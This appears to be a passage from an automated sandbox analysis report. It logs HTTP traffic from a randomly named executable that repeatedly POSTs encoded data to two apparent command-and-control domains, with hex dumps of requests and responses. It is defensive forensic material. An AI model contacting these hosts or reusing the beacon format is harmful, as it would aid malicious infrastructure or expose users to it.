Jul 9, 2024 12:08:47.740792990 CEST	835	OUT	POST /mnr7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.alphacentura.com Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.alphacentura.com Referer: http://www.alphacentura.com/mnr7/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 6b 74 37 65 45 31 73 58 61 37 49 57 61 49 6f 68 34 72 58 72 31 64 61 74 2b 78 72 70 51 32 62 41 45 36 72 6c 6b 71 63 57 79 34 43 41 6d 4d 6a 4b 72 54 47 4e 71 55 58 6a 41 61 54 76 50 74 72 64 47 38 38 44 63 45 37 42 41 34 63 35 36 6f 30 77 34 45 33 39 72 4d 43 4e 58 2f 68 38 56 72 31 70 38 67 5a 49 4d 50 2b 43 52 32 65 4e 4f 53 43 41 59 4a 62 5a 50 6e 4a 47 62 73 76 4a 42 5a 71 4e 39 77 43 43 30 66 63 46 70 58 6f 75 30 46 32 33 52 79 53 68 73 4a 2b 35 43 47 6d 37 4e 33 2b 69 6e 76 62 43 79 78 33 54 72 4b 59 4a 45 4e 6b 71 73 36 6b 63 4a 38 74 66 39 58 79 53 Data Ascii: lv-=kt7eE1sXa7IWaIoh4rXr1dat+xrpQ2bAE6rlkqcWy4CAmMjKrTGNqUXjAaTvPtrdG88DcE7BA4c56o0w4E39rMCNX/h8Vr1p8gZIMP+CR2eNOSCAYJbZPnJGbsvJBZqN9wCC0fcFpXou0F23RyShsJ+5CGm7N3+invbCyx3TrKYJENkqs6kcJ8tf9XyS
Jul 9, 2024 12:08:48.320627928 CEST	811	IN	HTTP/1.1 200 OK Date: Tue, 09 Jul 2024 10:08:48 GMT Content-Type: text/html;charset=utf8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QyyDm%2Fq7b1OcO09w%2B76Ik0K1rX2Tw3HJ0hhbCvjpta8iF5sbbaPhMiGi6Pxfv4ferChbSGxnznRIZZ51Wp53oIEkg%2FaZvdK%2BdPyzpMUVrXPr3%2FLdc54ptQkAGp%2FSUyC%2BN4NUrIyR6g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0783cccd50c32d-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 39 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b2 c9 28 c9 cd b1 b3 c9 4d 2d 49 54 48 ce 48 2c 2a 4e 2d b1 55 2a 2d 49 d3 b5 50 52 d0 b7 b3 29 c9 2c c9 49 b5 7b b6 b8 e1 d9 d6 ee 27 3b d6 da e8 43 04 6c 52 32 cb ec 5e 6c df fc 62 ef 1a b0 28 88 6b a3 0f 36 8a cb a6 38 b9 28 b3 a0 c4 4e a1 3c 33 2f 25 bf 5c 2f 27 3f 39 b1 24 33 3f 4f 2f a3 28 35 4d c1 56 49 3f 37 af c8 5c df 3e a9 a4 3c 31 cd d6 c4 d4 d2 cc dc d2 c2 42 c9 5a c1 46 1f aa 11 00 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 4e 5b 12 e4 94 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 93(M-ITHH,N-U-IPR),I{';ClR2^lb(k68(N<3/%\/'?9$3?O/(5MVI?7\><1BZFbN[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49721	188.114.96.3	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:08:50.338512897 CEST	859	OUT	POST /mnr7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.alphacentura.com Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.alphacentura.com Referer: http://www.alphacentura.com/mnr7/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 6b 74 37 65 45 31 73 58 61 37 49 57 59 6f 59 68 30 71 58 72 77 39 61 75 78 52 72 70 48 6d 62 4d 45 36 6e 6c 6b 76 39 4c 79 72 71 41 6d 73 54 4b 71 58 79 4e 70 55 58 6a 59 71 54 75 4c 74 72 47 47 38 35 2b 63 42 62 42 41 35 34 35 36 70 6f 77 34 32 66 36 74 63 43 4c 43 50 68 2b 52 72 31 70 38 67 5a 49 4d 50 72 4b 52 32 47 4e 4f 69 79 41 4a 59 62 61 47 48 4a 46 52 4d 76 4a 58 70 71 4a 39 77 43 77 30 65 41 72 70 53 73 75 30 45 71 33 52 6a 53 69 6d 4a 2f 38 4e 6d 6e 37 4e 79 62 4f 71 65 66 33 79 41 66 66 34 35 55 56 4f 4d 45 30 39 49 74 48 63 72 74 34 36 77 37 36 79 73 77 45 6a 52 2b 6c 56 5a 63 58 71 79 76 45 54 6b 76 56 57 51 3d 3d Data Ascii: lv-=kt7eE1sXa7IWYoYh0qXrw9auxRrpHmbME6nlkv9LyrqAmsTKqXyNpUXjYqTuLtrGG85+cBbBA5456pow42f6tcCLCPh+Rr1p8gZIMPrKR2GNOiyAJYbaGHJFRMvJXpqJ9wCw0eArpSsu0Eq3RjSimJ/8Nmn7NybOqef3yAff45UVOME09ItHcrt46w76yswEjR+lVZcXqyvETkvVWQ==
Jul 9, 2024 12:08:50.914962053 CEST	806	IN	HTTP/1.1 200 OK Date: Tue, 09 Jul 2024 10:08:50 GMT Content-Type: text/html;charset=utf8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7El2%2F07GBhFCrntaL3xv%2BS2o0ImHq0tvq68Tv%2FVj0Kz3PKRfGBaOd1q5w%2FjP0%2BpdhwgN1PTO%2FnmL6R%2BGkHfV6rIFhfAnJq4zJ57gTGZeJraLy7BhVzlrsWeAzTNb46ehhMKWi0o0zg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0783dceeb819d7-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 39 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b2 c9 28 c9 cd b1 b3 c9 4d 2d 49 54 48 ce 48 2c 2a 4e 2d b1 55 2a 2d 49 d3 b5 50 52 d0 b7 b3 29 c9 2c c9 49 b5 7b b6 b8 e1 d9 d6 ee 27 3b d6 da e8 43 04 6c 52 32 cb ec 5e 6c df fc 62 ef 1a b0 28 88 6b a3 0f 36 8a cb a6 38 b9 28 b3 a0 c4 4e a1 3c 33 2f 25 bf 5c 2f 27 3f 39 b1 24 33 3f 4f 2f a3 28 35 4d c1 56 49 3f 37 af c8 5c df 3e a9 a4 3c 31 cd d6 c4 c8 c4 d2 c0 d4 c2 4c c9 5a c1 46 1f aa 11 00 00 00 ff ff e3 02 00 89 33 29 88 94 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 9e(M-ITHH,N-U-IPR),I{';ClR2^lb(k68(N<3/%\/'?9$3?O/(5MVI?7\><1LZF3)0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49722	188.114.96.3	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:08:52.935950041 CEST	1872	OUT	POST /mnr7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.alphacentura.com Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.alphacentura.com Referer: http://www.alphacentura.com/mnr7/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 6b 74 37 65 45 31 73 58 61 37 49 57 59 6f 59 68 30 71 58 72 77 39 61 75 78 52 72 70 48 6d 62 4d 45 36 6e 6c 6b 76 39 4c 79 72 79 41 6d 2f 62 4b 72 32 79 4e 6f 55 58 6a 56 4b 54 72 4c 74 71 65 47 38 41 31 63 42 66 33 41 36 51 35 37 4c 4d 77 2b 43 4c 36 6a 63 43 4c 64 66 68 2f 56 72 30 30 38 67 49 44 4d 50 37 4b 52 32 47 4e 4f 67 71 41 5a 35 62 61 41 48 4a 47 62 73 76 7a 42 5a 72 63 39 77 4b 67 30 65 46 65 70 6d 59 75 31 6b 36 33 64 78 4b 69 67 5a 2f 79 49 6d 6e 56 4e 79 66 52 71 65 54 46 79 41 72 6d 34 35 73 56 44 59 5a 31 75 38 35 54 4e 6f 46 78 76 6a 53 5a 79 34 55 64 72 78 37 45 4a 37 77 72 7a 69 37 52 58 30 79 6b 4d 6f 36 32 30 39 62 69 42 77 4b 2f 30 4b 70 6c 6b 51 39 58 61 32 51 6e 51 67 71 38 77 78 4e 7a 51 66 51 2b 45 63 4c 4c 61 6f 61 72 79 42 77 6f 2f 53 44 78 47 38 4c 47 46 4c 41 6e 6f 30 4e 32 51 72 73 4b 62 34 4d 4f 72 71 79 53 32 72 4c 69 73 4b 36 4c 71 76 5a 51 46 41 69 54 58 33 71 66 39 37 74 49 4d 77 71 36 6a 50 51 6e 68 33 45 75 65 4f 61 79 43 42 47 5a 47 70 4d 63 35 43 [TRUNCATED] Data Ascii: lv-=kt7eE1sXa7IWYoYh0qXrw9auxRrpHmbME6nlkv9LyryAm/bKr2yNoUXjVKTrLtqeG8A1cBf3A6Q57LMw+CL6jcCLdfh/Vr008gIDMP7KR2GNOgqAZ5baAHJGbsvzBZrc9wKg0eFepmYu1k63dxKigZ/yImnVNyfRqeTFyArm45sVDYZ1u85TNoFxvjSZy4Udrx7EJ7wrzi7RX0ykMo6209biBwK/0KplkQ9Xa2QnQgq8wxNzQfQ+EcLLaoaryBwo/SDxG8LGFLAno0N2QrsKb4MOrqyS2rLisK6LqvZQFAiTX3qf97tIMwq6jPQnh3EueOayCBGZGpMc5CYln+NfJkRG0OL4R1OzM973TG1Rbzc6/j9kGifdeVyy/z5hkD/7G6Z9nxDtHriS5GGAe6V3xwJp7Cj7JfwIuU87ao6SyosqpAxBkNi6rdrtCJE4o3aheAAOE6ZZfZlklH7nMy7Jz43eGDpxt/hOpuHv85spPih7lx/GV7RfcIP9xHT98x/mbwM9NA+L/IwvT4lR28+JyUpluJy1qFwFnZDH+bd20qGwxgPeYTHWXa88c/5aWtpAuoxrUE77QQAhJxCf/sAaRNJ8cbPJQ755ZAPJQ/Pmqtu/Ba3WpzWakuqeqRimyWB7yU//hAwogEcDbB8hduBA2Rikac6WpHwOG0+hSPLmHRXjHgfbH7f1cjk4CshKsqWDf/OJJVZB8uqMoNymNlZHWGtE4D2YF9gnx9NIJFOy+6wo82dJcyzRs7iKeFpsmJqCfdIqMq46egKUvRF08jUkEtdnwBqKekRBhCr/MK9ae9bSmn20ock9IR1v5+hFhKXgDVP8UmxhmE7RLu97/V9RrQqn7CPuzsm3Qw+CxggmIg+/h3pXpufvVGcS0GHys4toBlrMG/woEAzDDlbfXnbc90+BPNdMjiEY9NUjjQONHyyLxpB+wDEARQEWUVpePi5GCVu0LXod+A/wwKZx9E8OWY82T2BDAkRmOBbv+Dsul3+Eqfdu [TRUNCATED]
Jul 9, 2024 12:08:53.522047997 CEST	799	IN	HTTP/1.1 200 OK Date: Tue, 09 Jul 2024 10:08:53 GMT Content-Type: text/html;charset=utf8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i8XFFI6yzM4wCZwfubeM2HSN1Fa9ywJbd8y4UYv7bfvm7p3AZsowbE3weRDNm80qXIXWJO4MjppU4hpIgH5bL2HBYzOvQ4sXigez50MlzDQ7jv%2BZZYibytAejbTLdYqaNI9nzXoCVQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0783ed3aae41f5-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 39 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b2 c9 28 c9 cd b1 b3 c9 4d 2d 49 54 48 ce 48 2c 2a 4e 2d b1 55 2a 2d 49 d3 b5 50 52 d0 b7 b3 29 c9 2c c9 49 b5 7b b6 b8 e1 d9 d6 ee 27 3b d6 da e8 43 04 6c 52 32 cb ec 5e 6c df fc 62 ef 1a b0 28 88 6b a3 0f 36 8a cb a6 38 b9 28 b3 a0 c4 4e a1 3c 33 2f 25 bf 5c 2f 27 3f 39 b1 24 33 3f 4f 2f a3 28 35 4d c1 56 49 3f 37 af c8 5c df 3e a9 a4 3c 31 cd d6 d8 d8 cc cc dc d8 c0 42 c9 5a c1 46 1f aa 11 00 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 a6 a0 73 71 94 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 93(M-ITHH,N-U-IPR),I{';ClR2^lb(k68(N<3/%\/'?9$3?O/(5MVI?7\><1BZFbsq0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49723	188.114.96.3	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:08:55.539602041 CEST	568	OUT	GET /mnr7/?GJtTF=-FH8yJw&lv-=pvT+HB9YRKI+POQx0b/M/ubgxhqpaEX2BZjJkbsJzaX5mdbcin6Kt2D9XOjpJuvlAq8EfVvHU99Z+IER5VLxqOSodO53aJITzDoCBcybRFuSCV6gKg== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.alphacentura.com Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Jul 9, 2024 12:08:56.068378925 CEST	907	IN	HTTP/1.1 200 OK Date: Tue, 09 Jul 2024 10:08:56 GMT Content-Type: text/html;charset=utf8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O7USX5nNn0nMOTM1XSRPfVuCAgnVTNHIQwXTN4cqFS%2FUt4q3n6mki0HutSv%2FZlAjdlhig4HSd%2FLOdrSroDziyecfvhS0Jua5GYvdRSaaYxFeYOLkwh9Ns6%2FcF71R3WKZfeAZptWQTw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0783fd893b42ad-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 31 31 61 0d 0a 3c 68 74 6d 6c 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 74 69 74 6c 65 3e e6 a3 80 e6 b5 8b e4 b8 ad 3c 2f 74 69 74 6c 65 3e 3c 64 69 76 3e e8 b7 b3 e8 bd ac e4 b8 ad 3c 2f 64 69 76 3e 3c 2f 68 74 6d 6c 3e 0a 3c 73 63 72 69 70 74 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 22 2f 6d 6e 72 37 2f 3f 47 4a 74 54 46 3d 2d 46 48 38 79 4a 77 26 6c 76 2d 3d 70 76 54 2b 48 42 39 59 52 4b 49 2b 50 4f 51 78 30 62 2f 4d 2f 75 62 67 78 68 71 70 61 45 58 32 42 5a 6a 4a 6b 62 73 4a 7a 61 58 35 6d 64 62 63 69 6e 36 4b 74 32 44 39 58 4f 6a 70 4a 75 76 6c 41 71 38 45 66 56 76 48 55 39 39 5a 2b 49 45 52 35 56 4c 78 71 4f 53 6f 64 4f 35 33 61 4a 49 54 7a 44 6f 43 42 63 79 62 52 46 75 53 43 56 36 67 4b 67 3d 3d 26 62 74 77 61 66 3d 36 32 33 37 38 31 34 31 22 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 31 0d 0a 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 11a<html><meta charset="utf-8" /><title></title><div></div></html><script> window.location.href ="/mnr7/?GJtTF=-FH8yJw&lv-=pvT+HB9YRKI+POQx0b/M/ubgxhqpaEX2BZjJkbsJzaX5mdbcin6Kt2D9XOjpJuvlAq8EfVvHU99Z+IER5VLxqOSodO53aJITzDoCBcybRFuSCV6gKg==&btwaf=62378141"; </script>10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49724	134.122.138.60	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:09:02.725888014 CEST	835	OUT	POST /emnz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.xn72dkd7scx.shop Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.xn72dkd7scx.shop Referer: http://www.xn72dkd7scx.shop/emnz/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 6c 44 70 48 36 4b 63 4e 61 66 76 51 73 71 39 32 67 32 33 45 38 4f 32 6d 2f 6b 4b 77 35 6b 48 4a 62 47 4b 37 6e 4f 50 53 75 7a 33 41 77 47 4b 52 33 61 6b 56 79 43 58 2f 33 77 33 55 51 61 4e 31 35 57 61 75 77 76 54 4d 7a 57 4b 69 38 4d 47 47 4b 30 47 43 33 79 42 48 74 35 47 57 76 59 53 2b 35 41 4d 53 70 4d 4b 6d 6f 56 58 4c 55 48 71 61 4b 4a 77 42 68 75 74 6c 2b 6c 78 66 75 4a 36 32 4d 69 6d 42 6c 34 33 47 33 45 57 78 31 4c 47 30 36 75 39 49 6a 32 59 78 44 43 63 50 77 4f 52 31 4c 43 59 6f 63 2f 67 46 79 39 4e 6b 31 69 67 66 30 36 6c 72 76 4d 6e 33 2b 35 56 35 Data Ascii: lv-=lDpH6KcNafvQsq92g23E8O2m/kKw5kHJbGK7nOPSuz3AwGKR3akVyCX/3w3UQaN15WauwvTMzWKi8MGGK0GC3yBHt5GWvYS+5AMSpMKmoVXLUHqaKJwBhutl+lxfuJ62MimBl43G3EWx1LG06u9Ij2YxDCcPwOR1LCYoc/gFy9Nk1igf06lrvMn3+5V5
Jul 9, 2024 12:09:03.473615885 CEST	446	IN	HTTP/1.1 301 Moved Permanently Server: nginx/onex Date: Tue, 09 Jul 2024 10:09:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://www.xn72dkd7scx.shop/emnz/ Strict-Transport-Security: max-age=31536000; includeSubDomains Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49725	134.122.138.60	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:09:05.318238974 CEST	859	OUT	POST /emnz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.xn72dkd7scx.shop Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.xn72dkd7scx.shop Referer: http://www.xn72dkd7scx.shop/emnz/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 6c 44 70 48 36 4b 63 4e 61 66 76 51 73 4f 35 32 74 33 33 45 37 75 32 6c 7a 45 4b 77 7a 45 48 4e 62 47 57 37 6e 4b 2f 43 75 47 6e 41 77 6e 36 52 32 62 6b 56 6e 43 58 2f 38 51 33 52 64 36 4e 2b 35 57 65 6d 77 76 66 4d 7a 53 71 69 38 49 4b 47 4a 48 75 42 78 69 42 46 6d 5a 47 55 68 34 53 2b 35 41 4d 53 70 49 69 4d 6f 55 7a 4c 54 30 43 61 4b 6f 77 43 69 75 74 69 2f 6c 78 66 6b 5a 36 36 4d 69 6d 7a 6c 38 32 6a 33 48 75 78 31 4a 4f 30 36 37 42 48 73 32 5a 36 64 79 64 74 30 39 73 45 54 7a 4d 64 52 4d 34 52 77 72 6f 41 32 44 41 42 6c 49 73 77 36 62 6e 51 35 65 63 52 4e 31 44 2f 31 48 64 38 64 49 49 79 42 2b 6d 78 6b 64 65 37 65 51 3d 3d Data Ascii: lv-=lDpH6KcNafvQsO52t33E7u2lzEKwzEHNbGW7nK/CuGnAwn6R2bkVnCX/8Q3Rd6N+5WemwvfMzSqi8IKGJHuBxiBFmZGUh4S+5AMSpIiMoUzLT0CaKowCiuti/lxfkZ66Mimzl82j3Hux1JO067BHs2Z6dydt09sETzMdRM4RwroA2DABlIsw6bnQ5ecRN1D/1Hd8dIIyB+mxkde7eQ==
Jul 9, 2024 12:09:06.086818933 CEST	446	IN	HTTP/1.1 301 Moved Permanently Server: nginx/onex Date: Tue, 09 Jul 2024 10:09:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://www.xn72dkd7scx.shop/emnz/ Strict-Transport-Security: max-age=31536000; includeSubDomains Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49726	134.122.138.60	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:09:07.931706905 CEST	1872	OUT	POST /emnz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.xn72dkd7scx.shop Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.xn72dkd7scx.shop Referer: http://www.xn72dkd7scx.shop/emnz/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 6c 44 70 48 36 4b 63 4e 61 66 76 51 73 4f 35 32 74 33 33 45 37 75 32 6c 7a 45 4b 77 7a 45 48 4e 62 47 57 37 6e 4b 2f 43 75 46 48 41 77 56 79 52 32 34 4d 56 68 79 58 2f 78 77 33 51 64 36 4e 76 35 53 79 69 77 76 44 63 7a 51 53 69 2b 72 43 47 64 69 61 42 34 69 42 46 70 35 47 58 76 59 54 38 35 41 64 5a 70 4d 47 4d 6f 55 7a 4c 54 79 2b 61 4e 35 77 43 6b 75 74 6c 2b 6c 78 44 75 4a 36 65 4d 68 57 4a 6c 38 79 64 30 32 4f 78 37 4a 65 30 38 4a 70 48 68 32 5a 34 63 79 64 4c 30 39 67 66 54 79 67 76 52 4e 38 37 77 73 45 41 6d 30 46 57 2f 4d 30 61 6b 39 7a 36 2f 35 6f 74 41 78 44 5a 37 32 30 56 45 4a 41 42 41 71 79 2f 68 4f 50 4d 4a 41 44 78 79 65 47 41 4e 32 6e 39 64 54 34 4e 6f 55 66 46 72 57 6a 41 4f 4e 62 42 6d 4e 53 56 53 4d 4a 4d 44 75 43 53 6d 65 36 79 4e 47 67 73 67 6c 6c 45 57 4a 61 53 73 57 70 59 47 44 57 4f 4d 47 6e 65 46 4c 4e 56 35 30 4f 68 50 4c 33 34 63 62 41 54 6f 53 38 6f 73 58 6a 42 46 34 71 32 65 4b 76 4b 46 30 44 61 53 69 51 49 62 72 66 75 32 42 52 6b 31 66 2f 57 47 31 35 53 68 5a [TRUNCATED] Data Ascii: lv-=lDpH6KcNafvQsO52t33E7u2lzEKwzEHNbGW7nK/CuFHAwVyR24MVhyX/xw3Qd6Nv5SyiwvDczQSi+rCGdiaB4iBFp5GXvYT85AdZpMGMoUzLTy+aN5wCkutl+lxDuJ6eMhWJl8yd02Ox7Je08JpHh2Z4cydL09gfTygvRN87wsEAm0FW/M0ak9z6/5otAxDZ720VEJABAqy/hOPMJADxyeGAN2n9dT4NoUfFrWjAONbBmNSVSMJMDuCSme6yNGgsgllEWJaSsWpYGDWOMGneFLNV50OhPL34cbAToS8osXjBF4q2eKvKF0DaSiQIbrfu2BRk1f/WG15ShZ8s5FgN68PoDTW49+jEvXQnNyWgjf7l33W8Fhj0rjipzq/vJ2r2UsXxw/591Q3sguAk2q0VPjwF/vRRiEvM0++ec81qxAtxBEVkr0MsShQnorAkU3ln2Fifa8afnh1eLBGkJb0Z9GJIqGTmRwIBb2roAxXANOYfYXhyJmWJWBtim/hZ3ypADxmKYuxhu5D5+YTY7A/yOUZxneqTGSvD9A5byEHdw9rkzMbRSeMc8Awk4eDQld55HEV752NXbLymyVMv8UhU20BNclTufleDoWf+7+CdRJOUq1+elqKu+k/nfdnAkjqda34FfiY3JIuWNLOybth4bvb5BnUuQmfS+g97FfJUPsEJAYuR/NyEG